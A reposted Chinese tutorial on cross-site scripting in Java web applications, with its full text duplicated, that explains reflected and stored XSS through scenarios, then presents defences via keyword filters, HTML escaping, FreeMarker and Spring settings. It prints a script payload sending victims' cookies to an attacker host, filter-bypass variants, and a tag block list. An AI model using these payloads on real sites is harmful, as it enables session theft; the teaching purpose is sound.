XSS攻击与防御
2017-06-01 11:18
190 查看
转载一篇文章,感觉举的例子很生动;
一.什么是XSS,XSS攻击类型和方式
XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。
XSS攻击
XSS攻击类似于SQL注入攻击,攻击之前,我们先找到一个存在XSS漏洞的网站,XSS漏洞分为两种,一种是DOM Based XSS漏洞,另一种是Stored XSS漏洞。理论上,所有可输入的地方没有对输入数据进行处理的话,都会存在XSS漏洞,漏洞的危害取决于攻击代码的威力,攻击代码也不局限于script。
攻击类型:
DOM Based XSS
DOM Based XSS是一种基于网页DOM结构的攻击,该攻击特点是中招的人是少数人。
场景一:
当我登录a.com后,我发现它的页面某些内容是根据url中的一个叫content参数直接显示的,猜测它测页面处理可能是这样,其它语言类似:
<%@ page language="java"contentType="text/html; charset=UTF-8"pageEncoding="UTF-8"%>
<!DOCTYPEhtmlPUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>XSS测试</title>
</head>
<body>
页面内容:<%=request.getParameter("content")%>
</body>
</html>
我知道了Tom也注册了该网站,并且知道了他的邮箱(或者其它能接收信息的联系方式),我做一个超链接发给他,超链接地址为:http://www.a.com?content=<script>window.open(“www.b.com?param=”+document.cookie)</script>,当Tom点击这个链接的时候(假设他已经登录a.com),浏览器就会直接打开b.com,并且把Tom在a.com中的cookie信息发送到b.com,b.com是我搭建的网站,当我的网站接收到该信息时,我就盗取了Tom在a.com的cookie信息,cookie信息中可能存有登录密码,攻击成功!这个过程中,受害者只有Tom自己。那当我在浏览器输入a.com?content=<script>alert(“xss”)</script>,浏览器展示页面内容的过程中,就会执行我的脚本,页面输出xss字样,这是攻击了我自己,那我如何攻击别人并且获利呢?
Stored XSS
Stored XSS是存储式XSS漏洞,由于其攻击代码已经存储到服务器上或者数据库中,所以受害者是很多人。
场景二:
a.com可以发文章,我登录后在a.com中发布了一篇文章,文章中包含了恶意代码,<script>window.open(“www.b.com?param=”+document.cookie)</script>,保存文章。这时Tom和Jack看到了我发布的文章,当在查看我的文章时就都中招了,他们的cookie信息都发送到了我的服务器上,攻击成功!这个过程中,受害者是多个人。
Stored XSS漏洞危害性更大,危害面更广。
二.XSS如何防御
1.java层面的防御方式
方法一、过滤特殊字符
如<script>、<img>、<iframe>……
/**
* 防止XSS(Cross Site Script)攻击的Filter
*
*
*/
public class XSSDefendFilter implements Filter {
public static List<String> arrTagList = new ArrayList<String>();
// public static boolean filterSwitch =
// com.travelsky.caair.common.Para.xssFilterB2C;
public XSSDefendFilter() {
super();
if (arrTagList.size() == 0) {// 过滤敏感HTML TAG
arrTagList.add("<script");
arrTagList.add("<embed");
arrTagList.add("<style");
arrTagList.add("<frame");
arrTagList.add("<object");
arrTagList.add("<iframe");
arrTagList.add("<frameset");
arrTagList.add("<meta");
arrTagList.add("<xml");
arrTagList.add("<applet");
arrTagList.add("<link");
arrTagList.add("onload");
arrTagList.add("<img");
arrTagList.add("<a");
arrTagList.add("onmouse");
arrTagList.add("onblur");
arrTagList.add("onchange");
arrTagList.add("onclick");
arrTagList.add("ondblclick");
arrTagList.add("onkey");
arrTagList.add("onfocus");
arrTagList.add("onselect");
}
}
public void init(FilterConfig cfg) throws ServletException {
// TODO Auto-generated method stub
}
@SuppressWarnings("unchecked")
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
// TODO Auto-generated method stub
boolean flag = false;
Enumeration en = request.getParameterNames();
String prtName = "-";
String prtValue = "-";
while (en.hasMoreElements()) {
prtName = (String) en.nextElement();
prtValue = request.getParameter(prtName);
if (prtValue != null) {
if (judgeTagByRegular(prtValue.toLowerCase())) {
System.out.println("ERROR Filter:" + prtName + "="
+ prtValue);
flag = true;
break;
}
}
}
if (!flag) {
chain.doFilter(request, response);
} else {// Error Process,如果有错误,大家自己定向到一个位置
System.out.println("ERROR Filter:"
+ ((HttpServletRequest) request).getRequestURI());
((javax.servlet.http.HttpServletResponse) response)
.sendRedirect(((HttpServletRequest) request).getContextPath()+ "/index.jsp");
}
}
/**
* 对arrTagList 的tag 用正则表达式封装
*
* @param obj
* @return
*/
private boolean judgeTagByRegular(String obj)
{
Pattern pattern = Pattern
.compile(
"(.*\\s*)((<\\s*script\\s*)|(<\\s*embed\\s*)|(<\\s*style\\s*)|(<\\s*img\\s*)|(<\\s*image\\s*)|(<\\s*frame\\s*)|(<\\s*object\\s*)|(<\\s*iframe\\s*)|(<\\s*a\\s*)|(<\\s*frameset\\s*)|(<\\s*meta\\s*)|(<\\s*xml\\s*)|(<\\s*applet\\s*)|(\\s*onmouse\\s*)|(<\\s*link\\s*)|(\\s*onload\\s*)|(\\s*onblur\\s*)|(\\s*onchange\\s*)|(\\s*onclick\\s*)|(\\s*ondblclick\\s*)|(\\s*onfocus\\s*)|(\\s*onkey\\s*)|(\\s*onselect\\s*)|(\\s*alert\\s*\\())(.*\\s*)",
Pattern.CASE_INSENSITIVE);
return pattern.matcher(obj).matches();
}
@SuppressWarnings("unused")
private boolean judgeHasTag(String obj) {
for (int i = 0; i < arrTagList.size(); i++) {
String tt = arrTagList.get(i).toString();
if (obj.indexOf(tt) >= 0) {
return true;
}
}
return false;
}
/*
* (non-Java-doc)
*
* @see javax.servlet.Filter#destroy()
*/
public void destroy() {
// TODO Auto-generated method stub
}
}
此方法有一定局限性,有很多可以绕过的方式:
<scRIpt>
<scr%00ript>
<scr\nript>
eval('<scr'+'ipt>')
< script >
...
方法二:还可以使用HTML和URL编码来避免问题。
可以使用apache-lang包中的提供的方法,如下:
System.out.println(StringEscapeUtils.escapeHtml("<iframe src='http://www.baidu.com'/>"));
System.out.println(StringEscapeUtils.escapeHtml("<script>alert('ok');</script>"));
使用以上方法会得到下面的结果:
Java代码
<iframe src='http://www.baidu.com'/>
<script>alert('ok');</script>
这样经过html转义就可以防止html元素代码执行。方式XSS攻击。
2. FreeMarker防范XSS
我司大量采用FreeMarker模版机制,所以有必要在这个层面进行进行考虑,方式如下
Freemarker 有html escape 方法,但是框架没有地方可以配置默认escape
方法一:
网上比较多的是通过TemplateLoader,给加载的template文件头尾套<#escape>
<#escape x as x?html>
your template code
</#escape>
但是现在我们的应用如果对FreeMarker做了扩展,一个页面分3个部分,一个layout、一个view、多个control。
多次render才到最终结果。要控制比较麻烦配置,也不友好。
方法二:
改源码的$变量、默认全部转义、对固定的扩展的layout、一个view、多个control,配置正则原义输出。变量是string类型的时候,用了xxx?string作为原义输出的内建函数。
缺点:比较暴力,修改了DollarViable源码,后续freemarker有升级要跟随修改
/**
* The original code
* env.getOut().write(escapedExpression.getStringValue(env));
*/
String expr = escapedExpression.getCanonicalForm();
TemplateModel referentModel = escapedExpression.getAsTemplateModel(env);
String output = Expression.getStringValue(referentModel, escapedExpression, env);
if (referentModel instanceof TemplateScalarModel) {
// layout placeholder and widget no escape and ?string
if (expr.indexOf("!noescape") > -1 || expr.indexOf("?html") > -1 || expr.indexOf("parameters.") > -1
|| expr.endsWith("?string") || doNoEscape(expr, env)) {
env.getOut().write(output);
} else {
env.getOut().write(freemarker.template.utility.StringUtil.HTMLEnc(output));
}
}else{
env.getOut().write(output);
}
<!-- 设置 ViewResolver -->
<bean id="freemarkerConfiguration"
class="org.springframework.ui.freemarker.FreeMarkerConfigurationFactoryBean">
<property name="templateLoaderPath"
value="file://${greenline.guahao.template.templatePath}" />
<property name="freemarkerSettings">
<props>
<prop key="default_encoding">UTF-8</prop>
<prop key="number_format">#</prop>
<!-- 配置缓存时间 -->
<prop key="template_update_delay">${greenline.guahao.template.update.delay}</prop>
<prop key="classic_compatible">true</prop>
<prop key="auto_import">/macro/macros.ftl as spring</prop>
<prop key="url_escaping_charset">UTF-8</prop>
<prop key="defaultEncoding">UTF-8</prop>
<prop key="boolean_format">true,false</prop>
<prop key="datetime_format">yyyy-MM-dd HH:mm:ss</prop>
<prop key="date_format">yyyy-MM-dd</prop>
<prop key="locale">zh_CN</prop>
</props>
</property>
<property name="freemarkerVariables">
<map>
<entry key="noescape_patterns" value-ref="noescape_patterns"/>
</map>
</property>
</bean>
<!-- 不进行转义正则 -->
<util:list id="noescape_patterns" list-class="java.util.ArrayList">
<bean class="java.util.regex.Pattern">
<constructor-arg value="(^placeholder$)|(^widget)|(^token\(\)$)" />
<constructor-arg value="0"/>
</bean>
</util:list>
3.Spring层面进行防御
Spring框架也是我司采用的核心框架,下面从Spring的角度来说
方法一:
web.xml加上:
<context-param>
<param-name>defaultHtmlEscape</param-name>
<param-value>true</param-value>
</context-param>
Forms加上:<spring:htmlEscape defaultHtmlEscape="true" />
方法二:
实现一个自定义的HttpServletRequestWrapper,然后在Filter里面调用它,替换掉getParameter函数即可。
首先添加一个XssHttpServletRequestWrapper:
public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper {
public XssHttpServletRequestWrapper(HttpServletRequest servletRequest) {
super(servletRequest);
}
public String[] getParameterValues(String parameter) {
String[] values = super.getParameterValues(parameter);
if (values==null) {
return null;
}
int count = values.length;
String[] encodedValues = new String[count];
for (int i = 0; i < count; i++) {
encodedValues[i] = cleanXSS(values[i]);
}
return encodedValues;
}
public String getParameter(String parameter) {
String value = super.getParameter(parameter);
if (value == null) {
return null;
}
return cleanXSS(value);
}
public String getHeader(String name) {
String value = super.getHeader(name);
if (value == null)
return null;
return cleanXSS(value);
}
private String cleanXSS(String value) {
//You'll need to remove the spaces from the html entities below
value = value.replaceAll("<", "& lt;").replaceAll(">", "& gt;");
value = value.replaceAll("\\(", "& #40;").replaceAll("\\)", "& #41;");
value = value.replaceAll("'", "& #39;");
value = value.replaceAll("eval\\((.*)\\)", "");
value = value.replaceAll("[\\\"\\\'][\\s]*javascript:(.*)[\\\"\\\']", "\"\"");
value = value.replaceAll("script", "");
return value;
}
}
然后添加一个过滤器XssFilter :
public class XssFilter implements Filter {
FilterConfig filterConfig = null;
public void init(FilterConfig filterConfig) throws ServletException {
this.filterConfig = filterConfig;
}
public void destroy() {
this.filterConfig = null;
}
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
chain.doFilter(new XssHttpServletRequestWrapper(
(HttpServletRequest) request), response);
}
}
最后在web.xml里面配置一下,所有的请求的getParameter会被替换,如果参数里面 含有敏感词会被替换掉:
<filter>
<filter-name>XssSqlFilter</filter-name>
<filter-class>com.ibm.web.beans.XssFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>XssSqlFilter</filter-name>
<url-pattern>/*</url-pattern>
<dispatcher>REQUEST</dispatcher>
</filter-mapping>
4.FreeMarker和Spring结合考虑防御
FreeMarker作为"通用"模版引擎, 默认情况下不会对model中的值进行html转义, 然而在web项目中, 为了防止跨站脚本攻击等问题, 必须在对model中的值进行转义.
解决办法:
方法1. 是使用 ${x?html} 可以用于对单个值的转义
方法2. 使用<#escape x as x?html> ... </#escape> 将需要转义的html代码包起来, 这样其中所有的值都会被转义了.
毫无疑问这两个方法都需要大量的重复操作, 如果我所有的模板都需要转义, 有没有一劳永逸的办法呢?
方法3. 使用自定义TemplateLoader
首先我们需要实现一个TemplateLoader. 代码如下:
public class HtmlTemplateLoader implements TemplateLoader {
private static final String HTML_ESCAPE_PREFIX= "<#escape x as x?html>";
private static final String HTML_ESCAPE_SUFFIX = "</#escape>";
private final TemplateLoader delegate;
public HtmlTemplateLoader(TemplateLoader delegate) {
this.delegate = delegate;
}
@Override
public Object findTemplateSource(String name) throws IOException {
return delegate.findTemplateSource(name);
}
@Override
public long getLastModified(Object templateSource) {
return delegate.getLastModified(templateSource);
}
@Override
public Reader getReader(Object templateSource, String encoding) throws IOException {
Reader reader = delegate.getReader(templateSource, encoding);
String templateText = IOUtils.toString(reader);
return new StringReader(HTML_ESCAPE_PREFIX+templateText + HTML_ESCAPE_SUFFIX);
}
@Override
public void closeTemplateSource(Object templateSource) throws IOException {
delegate.closeTemplateSource(templateSource);
}
}
为了和SpringMVC结合起来使用呢, 我们还需要自定义一个FreeMarkerConfigurer
public class CustomFreeMarkerConfigurer extends FreeMarkerConfigurer{
@Override
protected TemplateLoader getAggregateTemplateLoader(List<TemplateLoader> templateLoaders) {
return new HtmlTemplateLoader(super.getAggregateTemplateLoader(templateLoaders));
}
}
然后在spring的xml配置中, 使用它来代替默认的FreeMarkerConfigurer即可
<bean id="freemarkerConfigurer" class="cn.ysh.studio.freemarker.SimpleFreeMarkerConfigurer">
<!-- 其他配置跟之前相同 -->
</bean>
一.什么是XSS,XSS攻击类型和方式
XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。
XSS攻击
XSS攻击类似于SQL注入攻击,攻击之前,我们先找到一个存在XSS漏洞的网站,XSS漏洞分为两种,一种是DOM Based XSS漏洞,另一种是Stored XSS漏洞。理论上,所有可输入的地方没有对输入数据进行处理的话,都会存在XSS漏洞,漏洞的危害取决于攻击代码的威力,攻击代码也不局限于script。
攻击类型:
DOM Based XSS
DOM Based XSS是一种基于网页DOM结构的攻击,该攻击特点是中招的人是少数人。
场景一:
当我登录a.com后,我发现它的页面某些内容是根据url中的一个叫content参数直接显示的,猜测它测页面处理可能是这样,其它语言类似:
<%@ page language="java"contentType="text/html; charset=UTF-8"pageEncoding="UTF-8"%>
<!DOCTYPEhtmlPUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>XSS测试</title>
</head>
<body>
页面内容:<%=request.getParameter("content")%>
</body>
</html>
我知道了Tom也注册了该网站,并且知道了他的邮箱(或者其它能接收信息的联系方式),我做一个超链接发给他,超链接地址为:http://www.a.com?content=<script>window.open(“www.b.com?param=”+document.cookie)</script>,当Tom点击这个链接的时候(假设他已经登录a.com),浏览器就会直接打开b.com,并且把Tom在a.com中的cookie信息发送到b.com,b.com是我搭建的网站,当我的网站接收到该信息时,我就盗取了Tom在a.com的cookie信息,cookie信息中可能存有登录密码,攻击成功!这个过程中,受害者只有Tom自己。那当我在浏览器输入a.com?content=<script>alert(“xss”)</script>,浏览器展示页面内容的过程中,就会执行我的脚本,页面输出xss字样,这是攻击了我自己,那我如何攻击别人并且获利呢?
Stored XSS
Stored XSS是存储式XSS漏洞,由于其攻击代码已经存储到服务器上或者数据库中,所以受害者是很多人。
场景二:
a.com可以发文章,我登录后在a.com中发布了一篇文章,文章中包含了恶意代码,<script>window.open(“www.b.com?param=”+document.cookie)</script>,保存文章。这时Tom和Jack看到了我发布的文章,当在查看我的文章时就都中招了,他们的cookie信息都发送到了我的服务器上,攻击成功!这个过程中,受害者是多个人。
Stored XSS漏洞危害性更大,危害面更广。
二.XSS如何防御
1.java层面的防御方式
方法一、过滤特殊字符
如<script>、<img>、<iframe>……
/**
* 防止XSS(Cross Site Script)攻击的Filter
*
*
*/
public class XSSDefendFilter implements Filter {
public static List<String> arrTagList = new ArrayList<String>();
// public static boolean filterSwitch =
// com.travelsky.caair.common.Para.xssFilterB2C;
public XSSDefendFilter() {
super();
if (arrTagList.size() == 0) {// 过滤敏感HTML TAG
arrTagList.add("<script");
arrTagList.add("<embed");
arrTagList.add("<style");
arrTagList.add("<frame");
arrTagList.add("<object");
arrTagList.add("<iframe");
arrTagList.add("<frameset");
arrTagList.add("<meta");
arrTagList.add("<xml");
arrTagList.add("<applet");
arrTagList.add("<link");
arrTagList.add("onload");
arrTagList.add("<img");
arrTagList.add("<a");
arrTagList.add("onmouse");
arrTagList.add("onblur");
arrTagList.add("onchange");
arrTagList.add("onclick");
arrTagList.add("ondblclick");
arrTagList.add("onkey");
arrTagList.add("onfocus");
arrTagList.add("onselect");
}
}
public void init(FilterConfig cfg) throws ServletException {
// TODO Auto-generated method stub
}
@SuppressWarnings("unchecked")
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
// TODO Auto-generated method stub
boolean flag = false;
Enumeration en = request.getParameterNames();
String prtName = "-";
String prtValue = "-";
while (en.hasMoreElements()) {
prtName = (String) en.nextElement();
prtValue = request.getParameter(prtName);
if (prtValue != null) {
if (judgeTagByRegular(prtValue.toLowerCase())) {
System.out.println("ERROR Filter:" + prtName + "="
+ prtValue);
flag = true;
break;
}
}
}
if (!flag) {
chain.doFilter(request, response);
} else {// Error Process,如果有错误,大家自己定向到一个位置
System.out.println("ERROR Filter:"
+ ((HttpServletRequest) request).getRequestURI());
((javax.servlet.http.HttpServletResponse) response)
.sendRedirect(((HttpServletRequest) request).getContextPath()+ "/index.jsp");
}
}
/**
* 对arrTagList 的tag 用正则表达式封装
*
* @param obj
* @return
*/
private boolean judgeTagByRegular(String obj)
{
Pattern pattern = Pattern
.compile(
"(.*\\s*)((<\\s*script\\s*)|(<\\s*embed\\s*)|(<\\s*style\\s*)|(<\\s*img\\s*)|(<\\s*image\\s*)|(<\\s*frame\\s*)|(<\\s*object\\s*)|(<\\s*iframe\\s*)|(<\\s*a\\s*)|(<\\s*frameset\\s*)|(<\\s*meta\\s*)|(<\\s*xml\\s*)|(<\\s*applet\\s*)|(\\s*onmouse\\s*)|(<\\s*link\\s*)|(\\s*onload\\s*)|(\\s*onblur\\s*)|(\\s*onchange\\s*)|(\\s*onclick\\s*)|(\\s*ondblclick\\s*)|(\\s*onfocus\\s*)|(\\s*onkey\\s*)|(\\s*onselect\\s*)|(\\s*alert\\s*\\())(.*\\s*)",
Pattern.CASE_INSENSITIVE);
return pattern.matcher(obj).matches();
}
@SuppressWarnings("unused")
private boolean judgeHasTag(String obj) {
for (int i = 0; i < arrTagList.size(); i++) {
String tt = arrTagList.get(i).toString();
if (obj.indexOf(tt) >= 0) {
return true;
}
}
return false;
}
/*
* (non-Java-doc)
*
* @see javax.servlet.Filter#destroy()
*/
public void destroy() {
// TODO Auto-generated method stub
}
}
此方法有一定局限性,有很多可以绕过的方式:
<scRIpt>
<scr%00ript>
<scr\nript>
eval('<scr'+'ipt>')
< script >
...
方法二:还可以使用HTML和URL编码来避免问题。
可以使用apache-lang包中的提供的方法,如下:
System.out.println(StringEscapeUtils.escapeHtml("<iframe src='http://www.baidu.com'/>"));
System.out.println(StringEscapeUtils.escapeHtml("<script>alert('ok');</script>"));
使用以上方法会得到下面的结果:
Java代码
<iframe src='http://www.baidu.com'/>
<script>alert('ok');</script>
这样经过html转义就可以防止html元素代码执行。方式XSS攻击。
2. FreeMarker防范XSS
我司大量采用FreeMarker模版机制,所以有必要在这个层面进行进行考虑,方式如下
Freemarker 有html escape 方法,但是框架没有地方可以配置默认escape
方法一:
网上比较多的是通过TemplateLoader,给加载的template文件头尾套<#escape>
<#escape x as x?html>
your template code
</#escape>
但是现在我们的应用如果对FreeMarker做了扩展,一个页面分3个部分,一个layout、一个view、多个control。
多次render才到最终结果。要控制比较麻烦配置,也不友好。
方法二:
改源码的$变量、默认全部转义、对固定的扩展的layout、一个view、多个control,配置正则原义输出。变量是string类型的时候,用了xxx?string作为原义输出的内建函数。
缺点:比较暴力,修改了DollarViable源码,后续freemarker有升级要跟随修改
/**
* The original code
* env.getOut().write(escapedExpression.getStringValue(env));
*/
String expr = escapedExpression.getCanonicalForm();
TemplateModel referentModel = escapedExpression.getAsTemplateModel(env);
String output = Expression.getStringValue(referentModel, escapedExpression, env);
if (referentModel instanceof TemplateScalarModel) {
// layout placeholder and widget no escape and ?string
if (expr.indexOf("!noescape") > -1 || expr.indexOf("?html") > -1 || expr.indexOf("parameters.") > -1
|| expr.endsWith("?string") || doNoEscape(expr, env)) {
env.getOut().write(output);
} else {
env.getOut().write(freemarker.template.utility.StringUtil.HTMLEnc(output));
}
}else{
env.getOut().write(output);
}
<!-- 设置 ViewResolver -->
<bean id="freemarkerConfiguration"
class="org.springframework.ui.freemarker.FreeMarkerConfigurationFactoryBean">
<property name="templateLoaderPath"
value="file://${greenline.guahao.template.templatePath}" />
<property name="freemarkerSettings">
<props>
<prop key="default_encoding">UTF-8</prop>
<prop key="number_format">#</prop>
<!-- 配置缓存时间 -->
<prop key="template_update_delay">${greenline.guahao.template.update.delay}</prop>
<prop key="classic_compatible">true</prop>
<prop key="auto_import">/macro/macros.ftl as spring</prop>
<prop key="url_escaping_charset">UTF-8</prop>
<prop key="defaultEncoding">UTF-8</prop>
<prop key="boolean_format">true,false</prop>
<prop key="datetime_format">yyyy-MM-dd HH:mm:ss</prop>
<prop key="date_format">yyyy-MM-dd</prop>
<prop key="locale">zh_CN</prop>
</props>
</property>
<property name="freemarkerVariables">
<map>
<entry key="noescape_patterns" value-ref="noescape_patterns"/>
</map>
</property>
</bean>
<!-- 不进行转义正则 -->
<util:list id="noescape_patterns" list-class="java.util.ArrayList">
<bean class="java.util.regex.Pattern">
<constructor-arg value="(^placeholder$)|(^widget)|(^token\(\)$)" />
<constructor-arg value="0"/>
</bean>
</util:list>
3.Spring层面进行防御
Spring框架也是我司采用的核心框架,下面从Spring的角度来说
方法一:
web.xml加上:
<context-param>
<param-name>defaultHtmlEscape</param-name>
<param-value>true</param-value>
</context-param>
Forms加上:<spring:htmlEscape defaultHtmlEscape="true" />
方法二:
实现一个自定义的HttpServletRequestWrapper,然后在Filter里面调用它,替换掉getParameter函数即可。
首先添加一个XssHttpServletRequestWrapper:
public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper {
public XssHttpServletRequestWrapper(HttpServletRequest servletRequest) {
super(servletRequest);
}
public String[] getParameterValues(String parameter) {
String[] values = super.getParameterValues(parameter);
if (values==null) {
return null;
}
int count = values.length;
String[] encodedValues = new String[count];
for (int i = 0; i < count; i++) {
encodedValues[i] = cleanXSS(values[i]);
}
return encodedValues;
}
public String getParameter(String parameter) {
String value = super.getParameter(parameter);
if (value == null) {
return null;
}
return cleanXSS(value);
}
public String getHeader(String name) {
String value = super.getHeader(name);
if (value == null)
return null;
return cleanXSS(value);
}
private String cleanXSS(String value) {
//You'll need to remove the spaces from the html entities below
value = value.replaceAll("<", "& lt;").replaceAll(">", "& gt;");
value = value.replaceAll("\\(", "& #40;").replaceAll("\\)", "& #41;");
value = value.replaceAll("'", "& #39;");
value = value.replaceAll("eval\\((.*)\\)", "");
value = value.replaceAll("[\\\"\\\'][\\s]*javascript:(.*)[\\\"\\\']", "\"\"");
value = value.replaceAll("script", "");
return value;
}
}
然后添加一个过滤器XssFilter :
public class XssFilter implements Filter {
FilterConfig filterConfig = null;
public void init(FilterConfig filterConfig) throws ServletException {
this.filterConfig = filterConfig;
}
public void destroy() {
this.filterConfig = null;
}
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
chain.doFilter(new XssHttpServletRequestWrapper(
(HttpServletRequest) request), response);
}
}
最后在web.xml里面配置一下,所有的请求的getParameter会被替换,如果参数里面 含有敏感词会被替换掉:
<filter>
<filter-name>XssSqlFilter</filter-name>
<filter-class>com.ibm.web.beans.XssFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>XssSqlFilter</filter-name>
<url-pattern>/*</url-pattern>
<dispatcher>REQUEST</dispatcher>
</filter-mapping>
4.FreeMarker和Spring结合考虑防御
FreeMarker作为"通用"模版引擎, 默认情况下不会对model中的值进行html转义, 然而在web项目中, 为了防止跨站脚本攻击等问题, 必须在对model中的值进行转义.
解决办法:
方法1. 是使用 ${x?html} 可以用于对单个值的转义
方法2. 使用<#escape x as x?html> ... </#escape> 将需要转义的html代码包起来, 这样其中所有的值都会被转义了.
毫无疑问这两个方法都需要大量的重复操作, 如果我所有的模板都需要转义, 有没有一劳永逸的办法呢?
方法3. 使用自定义TemplateLoader
首先我们需要实现一个TemplateLoader. 代码如下:
public class HtmlTemplateLoader implements TemplateLoader {
private static final String HTML_ESCAPE_PREFIX= "<#escape x as x?html>";
private static final String HTML_ESCAPE_SUFFIX = "</#escape>";
private final TemplateLoader delegate;
public HtmlTemplateLoader(TemplateLoader delegate) {
this.delegate = delegate;
}
@Override
public Object findTemplateSource(String name) throws IOException {
return delegate.findTemplateSource(name);
}
@Override
public long getLastModified(Object templateSource) {
return delegate.getLastModified(templateSource);
}
@Override
public Reader getReader(Object templateSource, String encoding) throws IOException {
Reader reader = delegate.getReader(templateSource, encoding);
String templateText = IOUtils.toString(reader);
return new StringReader(HTML_ESCAPE_PREFIX+templateText + HTML_ESCAPE_SUFFIX);
}
@Override
public void closeTemplateSource(Object templateSource) throws IOException {
delegate.closeTemplateSource(templateSource);
}
}
为了和SpringMVC结合起来使用呢, 我们还需要自定义一个FreeMarkerConfigurer
public class CustomFreeMarkerConfigurer extends FreeMarkerConfigurer{
@Override
protected TemplateLoader getAggregateTemplateLoader(List<TemplateLoader> templateLoaders) {
return new HtmlTemplateLoader(super.getAggregateTemplateLoader(templateLoaders));
}
}
然后在spring的xml配置中, 使用它来代替默认的FreeMarkerConfigurer即可
<bean id="freemarkerConfigurer" class="cn.ysh.studio.freemarker.SimpleFreeMarkerConfigurer">
<!-- 其他配置跟之前相同 -->
</bean>